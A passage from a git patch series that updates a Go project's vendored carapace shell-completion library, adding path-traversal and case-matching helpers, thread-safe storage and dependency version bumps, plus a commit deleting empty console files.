strings.Join(splitted[:len(splittedCV)], "") d := splitted[len(splittedCV)-1] diff --git a/vendor/github.com/rsteube/carapace/pkg/match/match.go b/vendor/github.com/rsteube/carapace/pkg/match/match.go new file mode 100644 index 0000000000..1b458f81c0 --- /dev/null +++ b/vendor/github.com/rsteube/carapace/pkg/match/match.go @@ -0,0 +1,57 @@ +package match + +import ( + "os" + "strconv" + "strings" +) + +type Match int + +const ( + CASE_SENSITIVE Match = iota + CASE_INSENSITIVE +) + +func (m Match) Equal(s, t string) bool { + if m == CASE_INSENSITIVE { + strings.EqualFold(s, t) + } + return s == t + +} + +func (m Match) HasPrefix(s, prefix string) bool { + if m == CASE_INSENSITIVE { + return strings.HasPrefix(strings.ToLower(s), strings.ToLower(prefix)) + } + return strings.HasPrefix(s, prefix) +} + +func (m Match) TrimPrefix(s, prefix string) string { + if m.HasPrefix(s, prefix) { + return s[len(prefix):] + } + return s +} + +var match = CASE_SENSITIVE + +func init() { + switch os.Getenv("CARAPACE_MATCH") { + case "CASE_INSENSITIVE", strconv.Itoa(int(CASE_INSENSITIVE)): + match = CASE_INSENSITIVE + } +} + +func Equal(s, t string) bool { + return match.Equal(s, t) +} + +func HasPrefix(s, prefix string) bool { + return match.HasPrefix(s, prefix) +} + +func TrimPrefix(s, prefix string) string { + return match.TrimPrefix(s, prefix) +} diff --git a/vendor/github.com/rsteube/carapace/pkg/style/config.go b/vendor/github.com/rsteube/carapace/pkg/style/config.go index 954c19da04..2babb77de8 100644 --- a/vendor/github.com/rsteube/carapace/pkg/style/config.go +++ b/vendor/github.com/rsteube/carapace/pkg/style/config.go @@ -100,7 +100,7 @@ var Carapace = carapace{ FlagOptArg: Yellow, } -// Highlight returns the style for given level (0..n). +// Highlight returns the style for given level (0..n) func (c carapace) Highlight(level int) string { switch level { case 0: diff --git a/vendor/github.com/rsteube/carapace/pkg/style/keyword.go b/vendor/github.com/rsteube/carapace/pkg/style/keyword.go index d9e9220445..a0884b4ba9 100644 --- a/vendor/github.com/rsteube/carapace/pkg/style/keyword.go +++ b/vendor/github.com/rsteube/carapace/pkg/style/keyword.go @@ -22,8 +22,19 @@ var keywords = map[string]*string{ "full": &Carapace.KeywordPositive, "empty": &Carapace.KeywordNegative, - "strict": &Carapace.KeywordPositive, - "loose": &Carapace.KeywordNegative, + "loose": &Carapace.KeywordPositive, + "strict": &Carapace.KeywordNegative, + + "public": &Carapace.KeywordPositive, + "private": &Carapace.KeywordNegative, + + "internal": &Carapace.KeywordPositive, + "external": &Carapace.KeywordNegative, + + "asc": &Carapace.KeywordPositive, + "ascending": &Carapace.KeywordPositive, + "desc": &Carapace.KeywordNegative, + "descending": &Carapace.KeywordNegative, "open": &Carapace.KeywordPositive, "opened": &Carapace.KeywordPositive, diff --git a/vendor/github.com/rsteube/carapace/pkg/style/loglevel.go b/vendor/github.com/rsteube/carapace/pkg/style/loglevel.go index 8d7745eaac..17aa0962a3 100644 --- a/vendor/github.com/rsteube/carapace/pkg/style/loglevel.go +++ b/vendor/github.com/rsteube/carapace/pkg/style/loglevel.go @@ -18,5 +18,6 @@ func ForLogLevel(s string, _ Context) string { "crit": Carapace.LogLevelCritical, "critical": Carapace.LogLevelCritical, "fatal": Carapace.LogLevelFatal, + "panic": Carapace.LogLevelFatal, }[strings.ToLower(s)] } diff --git a/vendor/github.com/rsteube/carapace/pkg/traverse/git.go b/vendor/github.com/rsteube/carapace/pkg/traverse/git.go new file mode 100644 index 0000000000..5a2d694011 --- /dev/null +++ b/vendor/github.com/rsteube/carapace/pkg/traverse/git.go @@ -0,0 +1,25 @@ +package traverse + +import ( + "path/filepath" +) + +// GitDir returns the location of the .git folder. +func GitDir(tc Context) (string, error) { + if dir, ok := tc.LookupEnv("GIT_DIR"); ok { + return filepath.ToSlash(dir), nil + } + dir, err := GitWorkTree(tc) + if err == nil { + dir += "/.git" + } + return dir, err +} + +// GitWorkTree returns the location of the root of the working directory for a non-bare repository. +func GitWorkTree(tc Context) (string, error) { + if dir, ok := tc.LookupEnv("GIT_WORK_TREE"); ok { + return filepath.ToSlash(dir), nil + } + return Parent(".git")(tc) +} diff --git a/vendor/github.com/rsteube/carapace/pkg/traverse/os.go b/vendor/github.com/rsteube/carapace/pkg/traverse/os.go new file mode 100644 index 0000000000..f0e7d3cf9d --- /dev/null +++ b/vendor/github.com/rsteube/carapace/pkg/traverse/os.go @@ -0,0 +1,23 @@ +package traverse + +import "os" + +// UserHomeDir returns the current user's home directory. +func UserHomeDir(tc Context) (string, error) { + return os.UserHomeDir() +} + +// UserCacheDir returns the default root directory to use for user-specific cached data. +func UserCacheDir(tc Context) (string, error) { + return os.UserCacheDir() +} + +// UserConfigDir returns the default root directory to use for user-specific configuration data. +func UserConfigDir(tc Context) (string, error) { + return os.UserConfigDir() +} + +// TempDir returns the default directory to use for temporary files. +func TempDir(tc Context) (string, error) { + return os.TempDir(), nil +} diff --git a/vendor/github.com/rsteube/carapace/pkg/traverse/traverse.go b/vendor/github.com/rsteube/carapace/pkg/traverse/traverse.go new file mode 100644 index 0000000000..cff9fe5c96 --- /dev/null +++ b/vendor/github.com/rsteube/carapace/pkg/traverse/traverse.go @@ -0,0 +1,64 @@ +package traverse + +import ( + "errors" + "fmt" + "os" + "path/filepath" + "strings" + + "github.com/spf13/pflag" +) + +type Context interface { + Abs(s string) (string, error) + Getenv(key string) string + LookupEnv(key string) (string, bool) +} + +// Parent returns the first parent directory containing any of the given names/directories. +func Parent(names ...string) func(tc Context) (string, error) { + return func(tc Context) (string, error) { + wd, err := tc.Abs("") + if err != nil { + return "", err + } + + for _, name := range names { + if dir, err := traverse(wd, name); err == nil { + return filepath.Dir(dir), nil + } + } + formattedNames := fmt.Sprintf("%#v", names) + formattedNames = strings.TrimPrefix(formattedNames, "[]string{") + formattedNames = strings.TrimSuffix(formattedNames, "}") + return "", errors.New("could not find parent directory containing any of: " + formattedNames) + } +} + +// TODO also stop at `~` +func traverse(path string, name string) (target string, err error) { + var absPath string + if absPath, err = filepath.Abs(path); err == nil { + target = filepath.ToSlash(absPath + "/" + strings.TrimSuffix(name, "/")) + if _, err = os.Stat(target); err != nil { + parent := filepath.Dir(absPath) + if parent != path { + return traverse(parent, name) + } else { + err = errors.New("could not find: " + name) + } + } + } + return +} + +// Flag returns the value of given flag. +func Flag(f *pflag.Flag) func(tc Context) (string, error) { + return func(tc Context) (string, error) { + if f == nil { + return "", errors.New("invalid argument [traverse.Flag]") + } + return f.Value.String(), nil + } +} diff --git a/vendor/github.com/rsteube/carapace/pkg/traverse/xdg.go b/vendor/github.com/rsteube/carapace/pkg/traverse/xdg.go new file mode 100644 index 0000000000..cbf8a0572d --- /dev/null +++ b/vendor/github.com/rsteube/carapace/pkg/traverse/xdg.go @@ -0,0 +1,23 @@ +package traverse + +import ( + "path/filepath" +) + +// XdgCacheHome returns the cache directory (fallback to UserCacheDir). +func XdgCacheHome(tc Context) (dir string, err error) { + if dir = tc.Getenv("XDG_CACHE_HOME"); dir == "" { + dir, err = UserCacheDir(tc) + } + dir = filepath.ToSlash(dir) + return +} + +// XdgConfigHome returns the home directory (fallback to UserConfigDir). +func XdgConfigHome(tc Context) (dir string, err error) { + if dir = tc.Getenv("XDG_CONFIG_HOME"); dir == "" { + dir, err = UserConfigDir(tc) + } + dir = filepath.ToSlash(dir) + return +} diff --git a/vendor/github.com/rsteube/carapace/pkg/util/util.go b/vendor/github.com/rsteube/carapace/pkg/util/util.go new file mode 100644 index 0000000000..34910afc43 --- /dev/null +++ b/vendor/github.com/rsteube/carapace/pkg/util/util.go @@ -0,0 +1,51 @@ +package util + +// TODO rename package update/optimize functions + +import ( + "errors" + "os" + "path/filepath" + "runtime" + "strings" + "unicode" +) + +// FindReverse traverses the filetree upwards to find given file/directory. +func FindReverse(path string, name string) (target string, err error) { + var absPath string + if absPath, err = filepath.Abs(path); err == nil { + target = absPath + "/" + name + if _, err = os.Stat(target); err != nil { + parent := filepath.Dir(absPath) + if parent != path { + return FindReverse(parent, name) + } else { + err = errors.New("could not find: " + name) + } + } + } + return +} + +// HasPathPrefix checks if given string has a path prefix. +func HasPathPrefix(s string) bool { + return strings.HasPrefix(s, ".") || + strings.HasPrefix(s, "/") || + strings.HasPrefix(s, "~") || + HasVolumePrefix(s) +} + +// HasVolumePrefix checks if given path has a volume prefix (only for GOOS=windows). +func HasVolumePrefix(s string) bool { + switch { + case runtime.GOOS != "windows": + return false + case len(s) < 2: + return false + case unicode.IsLetter(rune(s[0])) && s[1] == ':': + return true + default: + return false + } +} diff --git a/vendor/github.com/rsteube/carapace/pkg/x/x.go b/vendor/github.com/rsteube/carapace/pkg/x/x.go new file mode 100644 index 0000000000..06d73009a0 --- /dev/null +++ b/vendor/github.com/rsteube/carapace/pkg/x/x.go @@ -0,0 +1,10 @@ +// Package x contains experimental functions +package x + +import ( + "github.com/rsteube/carapace/internal/export" + "github.com/spf13/cobra" +) + +var ClearStorage func() +var Complete func(cmd *cobra.Command, args ...string) (*export.Export, error) diff --git a/vendor/github.com/rsteube/carapace/pkg/xdg/xdg.go b/vendor/github.com/rsteube/carapace/pkg/xdg/xdg.go index 7347a29cf1..7465ec3b2e 100644 --- a/vendor/github.com/rsteube/carapace/pkg/xdg/xdg.go +++ b/vendor/github.com/rsteube/carapace/pkg/xdg/xdg.go @@ -1,12 +1,16 @@ package xdg -import "os" +import ( + "os" + "path/filepath" +) // UserCacheDir returns the cache base directory. func UserCacheDir() (dir string, err error) { if dir = os.Getenv("XDG_CACHE_HOME"); dir == "" { dir, err = os.UserCacheDir() } + dir = filepath.ToSlash(dir) return } @@ -15,5 +19,6 @@ func UserConfigDir() (dir string, err error) { if dir = os.Getenv("XDG_CONFIG_HOME"); dir == "" { dir, err = os.UserConfigDir() } + dir = filepath.ToSlash(dir) return } diff --git a/vendor/github.com/rsteube/carapace/storage.go b/vendor/github.com/rsteube/carapace/storage.go index 9673ffccd1..b937885e28 100644 --- a/vendor/github.com/rsteube/carapace/storage.go +++ b/vendor/github.com/rsteube/carapace/storage.go @@ -3,6 +3,7 @@ package carapace import ( "fmt" "strings" + "sync" "github.com/rsteube/carapace/internal/common" "github.com/rsteube/carapace/internal/uid" @@ -14,33 +15,72 @@ import ( type entry struct { flag ActionMap + flagMutex sync.RWMutex positional []Action - positionalAny Action + positionalAny *Action dash []Action - dashAny Action + dashAny *Action preinvoke func(cmd *cobra.Command, flag *pflag.Flag, action Action) Action prerun func(cmd *cobra.Command, args []string) bridged bool + initialized bool } type _storage map[*cobra.Command]*entry -func (s _storage) get(cmd *cobra.Command) (e *entry) { - var ok bool - if e, ok = s[cmd]; !ok { - e = &entry{} - s[cmd] = e +var storageMutex sync.RWMutex + +func (s _storage) get(cmd *cobra.Command) *entry { + storageMutex.RLock() + e, ok := s[cmd] + storageMutex.RUnlock() + + if !ok { + storageMutex.Lock() + defer storageMutex.Unlock() + if e, ok = s[cmd]; !ok { + e = &entry{} + s[cmd] = e + } } - return + return e } +var bridgeMutex sync.Mutex + func (s _storage) bridge(cmd *cobra.Command) { if entry := storage.get(cmd); !entry.bridged { - cobra.OnInitialize(func() { - registerValidArgsFunction(cmd) - registerFlagCompletion(cmd) - }) - entry.bridged = true + bridgeMutex.Lock() + defer bridgeMutex.Unlock() + + if entry := storage.get(cmd); !entry.bridged { + cobra.OnInitialize(func() { + if !entry.initialized { + bridgeMutex.Lock() + defer bridgeMutex.Unlock() + + if !entry.initialized { + registerValidArgsFunction(cmd) + registerFlagCompletion(cmd) + entry.initialized = true + } + + } + }) + entry.bridged = true + } + } +} + +func (s _storage) hasFlag(cmd *cobra.Command, name string) bool { + if flag := cmd.LocalFlags().Lookup(name); flag == nil && cmd.HasParent() { + return s.hasFlag(cmd.Parent(), name) + } else { + entry := s.get(cmd) + entry.flagMutex.RLock() + defer entry.flagMutex.RUnlock() + _, ok := entry.flag[name] + return ok } } @@ -48,7 +88,18 @@ func (s _storage) getFlag(cmd *cobra.Command, name string) Action { if flag := cmd.LocalFlags().Lookup(name); flag == nil && cmd.HasParent() { return s.getFlag(cmd.Parent(), name) } else { - a := s.preinvoke(cmd, flag, s.get(cmd).flag[name]) + entry := s.get(cmd) + entry.flagMutex.RLock() + defer entry.flagMutex.RUnlock() + + flagAction, ok := entry.flag[name] + if !ok { + if f, ok := cmd.GetFlagCompletionFunc(name); ok { + flagAction = ActionCobra(f) + } + } + + a := s.preinvoke(cmd, flag, flagAction) return ActionCallback(func(c Context) Action { // TODO verify order of execution is correct invoked := a.Invoke(c) @@ -81,6 +132,24 @@ func (s _storage) preinvoke(cmd *cobra.Command, flag *pflag.Flag, action Action) return a } +func (s _storage) hasPositional(cmd *cobra.Command, index int) bool { + entry := s.get(cmd) + isDash := common.IsDash(cmd) + + // TODO fallback to cobra defined completion if exists + + switch { + case !isDash && len(entry.positional) > index: + return true + case !isDash: + return entry.positionalAny != nil + case len(entry.dash) > index: + return true + default: + return entry.dashAny != nil + } +} + func (s _storage) getPositional(cmd *cobra.Command, index int) Action { entry := s.get(cmd) isDash := common.IsDash(cmd) @@ -88,14 +157,23 @@ func (s _storage) getPositional(cmd *cobra.Command, index int) Action { var a Action switch { case !isDash && len(entry.positional) > index: - a = s.preinvoke(cmd, nil, entry.positional[index]) + a = entry.positional[index] case !isDash: - a = s.preinvoke(cmd, nil, entry.positionalAny) + if entry.positionalAny != nil { + a = *entry.positionalAny + } else { + a = ActionCobra(cmd.ValidArgsFunction) + } case len(entry.dash) > index: - a = s.preinvoke(cmd, nil, entry.dash[index]) + a = entry.dash[index] default: - a = s.preinvoke(cmd, nil, entry.dashAny) + if entry.dashAny != nil { + a = *entry.dashAny + } else { + a = ActionCobra(cmd.ValidArgsFunction) + } } + a = s.preinvoke(cmd, nil, a) return ActionCallback(func(c Context) Action { invoked := a.Invoke(c) @@ -109,11 +187,16 @@ func (s _storage) getPositional(cmd *cobra.Command, index int) Action { func (s _storage) check() []string { errors := make([]string, 0) for cmd, entry := range s { - for name := range entry.flag { - if flag := cmd.LocalFlags().Lookup(name); flag == nil { - errors = append(errors, fmt.Sprintf("unknown flag for %s: %s\n", uid.Command(cmd), name)) + func() { + entry.flagMutex.RLock() + defer entry.flagMutex.RUnlock() + + for name := range entry.flag { + if flag := cmd.LocalFlags().Lookup(name); flag == nil { + errors = append(errors, fmt.Sprintf("unknown flag for %s: %s\n", uid.Command(cmd), name)) + } } - } + }() } return errors } diff --git a/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/parse_sgr.go b/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/parse_sgr.go index 21ea6975f1..87538e9a65 100644 --- a/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/parse_sgr.go +++ b/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/parse_sgr.go @@ -54,13 +54,11 @@ func StylingFromSGR(s string) Styling { consume = 3 case code == 38 && len(codes) >= 5 && codes[1] == 2: moreStyling = Fg(trueColor{ - uint8(codes[2]), uint8(codes[3]), uint8(codes[4]), - }) + uint8(codes[2]), uint8(codes[3]), uint8(codes[4])}) consume = 5 case code == 48 && len(codes) >= 5 && codes[1] == 2: moreStyling = Bg(trueColor{ - uint8(codes[2]), uint8(codes[3]), uint8(codes[4]), - }) + uint8(codes[2]), uint8(codes[3]), uint8(codes[4])}) consume = 5 default: // Do nothing; skip this code diff --git a/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/styling.go b/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/styling.go index 485657d5cd..21db8778a4 100644 --- a/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/styling.go +++ b/vendor/github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui/styling.go @@ -93,14 +93,12 @@ func Fg(c Color) Styling { return setForeground{c} } // Bg returns a Styling that sets the background color. func Bg(c Color) Styling { return setBackground{c} } -type ( - reset struct{} - setForeground struct{ c Color } - setBackground struct{ c Color } - boolOn struct{ f boolField } - boolOff struct{ f boolField } - boolToggle struct{ f boolField } -) +type reset struct{} +type setForeground struct{ c Color } +type setBackground struct{ c Color } +type boolOn struct{ f boolField } +type boolOff struct{ f boolField } +type boolToggle struct{ f boolField } func (reset) transform(s *Style) { *s = Style{} } func (t setForeground) transform(s *Style) { s.Foreground = t.c } @@ -111,14 +109,12 @@ func (t boolToggle) transform(s *Style) { p := t.f.get(s); *p = !*p } type boolField interface{ get(*Style) *bool } -type ( - boldField struct{} - dimField struct{} - italicField struct{} - underlinedField struct{} - blinkField struct{} - inverseField struct{} -) +type boldField struct{} +type dimField struct{} +type italicField struct{} +type underlinedField struct{} +type blinkField struct{} +type inverseField struct{} func (boldField) get(s *Style) *bool { return &s.Bold } func (dimField) get(s *Style) *bool { return &s.Dim } diff --git a/vendor/github.com/rsteube/carapace/traverse.go b/vendor/github.com/rsteube/carapace/traverse.go index c7a8653132..eb8a747b9b 100644 --- a/vendor/github.com/rsteube/carapace/traverse.go +++ b/vendor/github.com/rsteube/carapace/traverse.go @@ -10,46 +10,23 @@ import ( "github.com/spf13/cobra" ) -type _inFlag struct { // TODO rename or integrate into pflagfork.Flag? - *pflagfork.Flag - // currently consumed args since encountered flag - Args []string -} - -func (f _inFlag) Consumes(arg string) bool { - switch { - case f.Flag == nil: - return false - case !f.TakesValue(): - return false - case f.IsOptarg(): - return false - case len(f.Args) == 0: - return true - case f.Nargs() > 1 && len(f.Args) < f.Nargs(): - return true - case f.Nargs() < 0 && !strings.HasPrefix(arg, "-"): - return true - default: - return false - } -} - -func traverse(c *cobra.Command, args []string) (Action, Context) { - LOG.Printf("traverse called for %#v with args %#v\n", c.Name(), args) - storage.preRun(c, args) +func traverse(cmd *cobra.Command, args []string) (Action, Context) { + LOG.Printf("traverse called for %#v with args %#v\n", cmd.Name(), args) + storage.preRun(cmd, args) if env.Lenient() { LOG.Printf("allowing unknown flags") - c.FParseErrWhitelist.UnknownFlags = true + cmd.FParseErrWhitelist.UnknownFlags = true } - inArgs := []string{} // args consumed by current command - var inFlag *_inFlag // last encountered flag that still expects arguments - c.LocalFlags() // TODO force c.mergePersistentFlags() which is missing from c.Flags() - fs := pflagfork.FlagSet{FlagSet: c.Flags()} + inArgs := []string{} // args consumed by current command + inPositionals := []string{} // positionals consumed by current command + var inFlag *pflagfork.Flag // last encountered flag that still expects arguments + cmd.LocalFlags() // TODO force c.mergePersistentFlags() which is missing from c.Flags() + fs := pflagfork.FlagSet{FlagSet: cmd.Flags()} context := NewContext(args...) + context.cmd = cmd loop: for i, arg := range context.Args { switch { @@ -71,41 +48,39 @@ loop: break loop // flag - case !c.DisableFlagParsing && strings.HasPrefix(arg, "-"): + case !cmd.DisableFlagParsing && strings.HasPrefix(arg, "-") && (fs.IsInterspersed() || len(inPositionals) == 0): LOG.Printf("arg %#v is a flag\n", arg) inArgs = append(inArgs, arg) - inFlag = &_inFlag{ - Flag: fs.LookupArg(arg), - Args: []string{}, - } + inFlag = fs.LookupArg(arg) - if inFlag.Flag == nil { + if inFlag == nil { LOG.Printf("flag %#v is unknown", arg) } continue // subcommand - case subcommand(c, arg) != nil: + case subcommand(cmd, arg) != nil: LOG.Printf("arg %#v is a subcommand\n", arg) switch { - case c.DisableFlagParsing: - LOG.Printf("flag parsing disabled for %#v\n", c.Name()) + case cmd.DisableFlagParsing: + LOG.Printf("flag parsing disabled for %#v\n", cmd.Name()) default: - LOG.Printf("parsing flags for %#v with args %#v\n", c.Name(), inArgs) - if err := c.ParseFlags(inArgs); err != nil { + LOG.Printf("parsing flags for %#v with args %#v\n", cmd.Name(), inArgs) + if err := cmd.ParseFlags(inArgs); err != nil { return ActionMessage(err.Error()), context } - context.Args = c.Flags().Args() + context.Args = cmd.Flags().Args() } - return traverse(subcommand(c, arg), args[i+1:]) + return traverse(subcommand(cmd, arg), args[i+1:]) // positional default: LOG.Printf("arg %#v is a positional\n", arg) inArgs = append(inArgs, arg) + inPositionals = append(inPositionals, arg) } } @@ -113,16 +88,17 @@ loop: if inFlag != nil && len(inFlag.Args) == 0 && inFlag.Consumes("") { LOG.Printf("removing arg %#v since it is a flag missing its argument\n", toParse[len(toParse)-1]) toParse = toParse[:len(toParse)-1] - } else if fs.IsShorthandSeries(context.Value) { - LOG.Printf("arg %#v is a shorthand flag series", context.Value) - localInFlag := &_inFlag{ - Flag: fs.LookupArg(context.Value), - Args: []string{}, - } - if localInFlag.Consumes("") && len(context.Value) > 2 { - LOG.Printf("removing shorthand %#v from flag series since it is missing its argument\n", localInFlag.Shorthand) - toParse = append(toParse, strings.TrimSuffix(context.Value, localInFlag.Shorthand)) + } else if (fs.IsInterspersed() || len(inPositionals) == 0) && fs.IsShorthandSeries(context.Value) { // TODO shorthand series isn't correct anymore (can have value attached) + LOG.Printf("arg %#v is a shorthand flag series", context.Value) // TODO not aways correct + localInFlag := fs.LookupArg(context.Value) + + if localInFlag != nil && (len(localInFlag.Args) == 0 || localInFlag.Args[0] == "") && (!localInFlag.IsOptarg() || strings.HasSuffix(localInFlag.Prefix, string(localInFlag.OptargDelimiter()))) { // TODO && len(context.Value) > 2 { + // TODO check if empty prefix + suffix := localInFlag.Prefix[strings.LastIndex(localInFlag.Prefix, localInFlag.Shorthand):] + LOG.Printf("removing suffix %#v since it is a flag missing its argument\n", suffix) + toParse = append(toParse, strings.TrimSuffix(localInFlag.Prefix, suffix)) } else { + LOG.Printf("adding shorthand flag %#v", context.Value) toParse = append(toParse, context.Value) } @@ -130,55 +106,56 @@ loop: // TODO duplicated code switch { - case c.DisableFlagParsing: - LOG.Printf("flag parsing is disabled for %#v\n", c.Name()) + case cmd.DisableFlagParsing: + LOG.Printf("flag parsing is disabled for %#v\n", cmd.Name()) default: - LOG.Printf("parsing flags for %#v with args %#v\n", c.Name(), toParse) - if err := c.ParseFlags(toParse); err != nil { + LOG.Printf("parsing flags for %#v with args %#v\n", cmd.Name(), toParse) + if err := cmd.ParseFlags(toParse); err != nil { return ActionMessage(err.Error()), context } - context.Args = c.Flags().Args() + context.Args = cmd.Flags().Args() } switch { // dash argument - case common.IsDash(c): + case common.IsDash(cmd): LOG.Printf("completing dash for arg %#v\n", context.Value) - context.Args = c.Flags().Args()[c.ArgsLenAtDash():] + context.Args = cmd.Flags().Args()[cmd.ArgsLenAtDash():] LOG.Printf("context: %#v\n", context.Args) - return storage.getPositional(c, len(context.Args)), context + return storage.getPositional(cmd, len(context.Args)), context // flag argument case inFlag != nil && inFlag.Consumes(context.Value): LOG.Printf("completing flag argument of %#v for arg %#v\n", inFlag.Name, context.Value) context.Parts = inFlag.Args - return storage.getFlag(c, inFlag.Name), context + return storage.getFlag(cmd, inFlag.Name), context // flag - case !c.DisableFlagParsing && strings.HasPrefix(context.Value, "-"): - if f := fs.LookupArg(context.Value); f != nil && f.IsOptarg() && strings.Contains(context.Value, string(f.OptargDelimiter())) { - LOG.Printf("completing optional flag argument for arg %#v\n", context.Value) - prefix, optarg := f.Split(context.Value) - context.Value = optarg + case !cmd.DisableFlagParsing && strings.HasPrefix(context.Value, "-") && (fs.IsInterspersed() || len(inPositionals) == 0): + if f := fs.LookupArg(context.Value); f != nil && len(f.Args) > 0 { + LOG.Printf("completing optional flag argument for arg %#v with prefix %#v\n", context.Value, f.Prefix) switch f.Value.Type() { case "bool": - return ActionValues("true", "false").StyleF(style.ForKeyword).Prefix(prefix), context + return ActionValues("true", "false").StyleF(style.ForKeyword).Usage(f.Usage).Prefix(f.Prefix), context default: - return storage.getFlag(c, f.Name).Prefix(prefix), context + return storage.getFlag(cmd, f.Name).Prefix(f.Prefix), context } + } else if f != nil && fs.IsPosix() && !strings.HasPrefix(context.Value, "--") && !f.IsOptarg() && f.Prefix == context.Value { + LOG.Printf("completing attached flag argument for arg %#v with prefix %#v\n", context.Value, f.Prefix) + return storage.getFlag(cmd, f.Name).Prefix(f.Prefix), context } LOG.Printf("completing flags for arg %#v\n", context.Value) - return actionFlags(c), context + return actionFlags(cmd), context // positional or subcommand default: LOG.Printf("completing positionals and subcommands for arg %#v\n", context.Value) - batch := Batch(storage.getPositional(c, len(context.Args))) - if c.HasAvailableSubCommands() && len(context.Args) == 0 { - batch = append(batch, actionSubcommands(c)) + batch := Batch(storage.getPositional(cmd, len(context.Args))) + if cmd.HasAvailableSubCommands() && len(context.Args) == 0 { + batch = append(batch, ActionCommands(cmd)) } return batch.ToA(), context } diff --git a/vendor/modules.txt b/vendor/modules.txt index c6a80b1237..833d3c859b 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -547,11 +547,11 @@ github.com/pmezard/go-difflib/difflib # github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e ## explicit; go 1.16 github.com/psanford/memfs -# github.com/reeflective/console v0.1.11 +# github.com/reeflective/console v0.1.14 ## explicit; go 1.21 github.com/reeflective/console github.com/reeflective/console/commands/readline -# github.com/reeflective/readline v1.0.11 +# github.com/reeflective/readline v1.0.13 ## explicit; go 1.21 github.com/reeflective/readline github.com/reeflective/readline/inputrc @@ -587,7 +587,7 @@ github.com/remyoudompheng/bigfft # github.com/rivo/uniseg v0.4.4 ## explicit; go 1.18 github.com/rivo/uniseg -# github.com/rsteube/carapace v0.45.0 => github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d +# github.com/rsteube/carapace v0.46.3-0.20231214181515-27e49f3c3b69 ## explicit; go 1.15 github.com/rsteube/carapace github.com/rsteube/carapace/internal/cache @@ -604,7 +604,6 @@ github.com/rsteube/carapace/internal/shell/elvish github.com/rsteube/carapace/internal/shell/export github.com/rsteube/carapace/internal/shell/fish github.com/rsteube/carapace/internal/shell/ion -github.com/rsteube/carapace/internal/shell/library github.com/rsteube/carapace/internal/shell/nushell github.com/rsteube/carapace/internal/shell/oil github.com/rsteube/carapace/internal/shell/powershell @@ -614,8 +613,12 @@ github.com/rsteube/carapace/internal/shell/xonsh github.com/rsteube/carapace/internal/shell/zsh github.com/rsteube/carapace/internal/uid github.com/rsteube/carapace/pkg/cache +github.com/rsteube/carapace/pkg/match github.com/rsteube/carapace/pkg/ps github.com/rsteube/carapace/pkg/style +github.com/rsteube/carapace/pkg/traverse +github.com/rsteube/carapace/pkg/util +github.com/rsteube/carapace/pkg/x github.com/rsteube/carapace/pkg/xdg github.com/rsteube/carapace/third_party/github.com/acarl005/stripansi github.com/rsteube/carapace/third_party/github.com/drone/envsubst @@ -625,6 +628,9 @@ github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/cli/lscolors github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui github.com/rsteube/carapace/third_party/github.com/mitchellh/go-ps github.com/rsteube/carapace/third_party/golang.org/x/sys/execabs +# github.com/rsteube/carapace-shlex v0.1.1 +## explicit; go 1.15 +github.com/rsteube/carapace-shlex # github.com/safchain/ethtool v0.3.0 ## explicit; go 1.16 github.com/safchain/ethtool @@ -789,7 +795,7 @@ golang.org/x/crypto/scrypt golang.org/x/crypto/ssh golang.org/x/crypto/ssh/agent golang.org/x/crypto/ssh/internal/bcrypt_pbkdf -# golang.org/x/exp v0.0.0-20231127185646-65229373498e +# golang.org/x/exp v0.0.0-20231214170342-aacd6d4b4611 ## explicit; go 1.20 golang.org/x/exp/constraints golang.org/x/exp/maps From f0dbb75a8df099f31a17bcaf8323d19976a2eee0 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sat, 16 Dec 2023 13:29:43 +0100 Subject: [PATCH 114/124] Remove empty files --- server/console/console-admin.go | 0 server/console/console-admin_test.go | 0 server/console/console.go | 0 3 files changed, 0 insertions(+), 0 deletions(-) delete mode 100644 server/console/console-admin.go delete mode 100644 server/console/console-admin_test.go delete mode 100644 server/console/console.go diff --git a/server/console/console-admin.go b/server/console/console-admin.go deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/server/console/console-admin_test.go b/server/console/console-admin_test.go deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/server/console/console.go b/server/console/console.go deleted file mode 100644 index e69de29bb2..0000000000 From 4e64b1d07f494752af866450839f06b6963b5c73 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Mon, 25 Dec 2023 15:07:06 +0100 Subject: [PATCH 115/124] Update team library dependency version --- go.mod | 4 ++-- go.sum | 3 +++ 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/go.mod b/go.mod index efb9abdf4f..477498f42d 100644 --- a/go.mod +++ b/go.mod @@ -35,8 +35,8 @@ require ( github.com/ncruces/go-sqlite3 v0.8.4 github.com/reeflective/console v0.1.14 github.com/reeflective/readline v1.0.13 - github.com/reeflective/team v0.1.1 - github.com/rsteube/carapace v0.46.3-0.20231214181515-27e49f3c3b69 + github.com/reeflective/team v0.1.2 + github.com/rsteube/carapace v0.47.4 github.com/sirupsen/logrus v1.9.3 github.com/spf13/cobra v1.8.0 github.com/spf13/pflag v1.0.5 diff --git a/go.sum b/go.sum index b00dc2427a..f570d3d107 100644 --- a/go.sum +++ b/go.sum @@ -358,6 +358,8 @@ github.com/reeflective/readline v1.0.13 h1:TeJmYw9B7VRPZWfNExr9QHxL1m0iSicyqBSQI github.com/reeflective/readline v1.0.13/go.mod h1:3iOe/qyb2jEy0KqLrNlb/CojBVqxga9ACqz/VU22H6A= github.com/reeflective/team v0.1.1 h1:6kWg+LwrYAV/QIjPfXZFp8wA9cEj4IUEE1L9BGOal0U= github.com/reeflective/team v0.1.1/go.mod h1:vl9Qz2nXOy+iOHIQPm15Dno3NXn6LO8+7M3bKTaKIC8= +github.com/reeflective/team v0.1.2 h1:g3Cy5fbM0JzuxSNCvzY9DDytYxFqFSCLlWumKmzB35M= +github.com/reeflective/team 